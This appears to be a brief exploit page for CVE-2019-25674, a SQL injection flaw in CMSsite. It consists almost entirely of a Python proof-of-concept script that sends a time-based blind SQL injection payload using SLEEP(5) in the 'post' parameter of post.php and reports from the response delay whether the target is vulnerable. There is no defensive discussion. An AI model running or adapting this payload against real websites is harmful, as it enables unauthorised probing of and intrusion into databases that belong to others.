CVE-2019-25674 CMSsite SQL注入漏洞

import requests # Target URL configuration target_url = "http://target-ip/post.php" # Malicious payload for time-based blind SQL injection # This payload attempts to delay the database response by 5 seconds payload = "1' AND (SELECT SLEEP(5))-- -" parameters = { "post": payload } try: # Send GET request with the malicious parameter response = requests.get(target_url, params=parameters, timeout=10) # Check if the request took longer than expected due to SLEEP() if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: Database response delayed.") else: print("[-] Vulnerability not detected or payload invalid.") except Exception as e: print(f"[!] Error during request: {e}")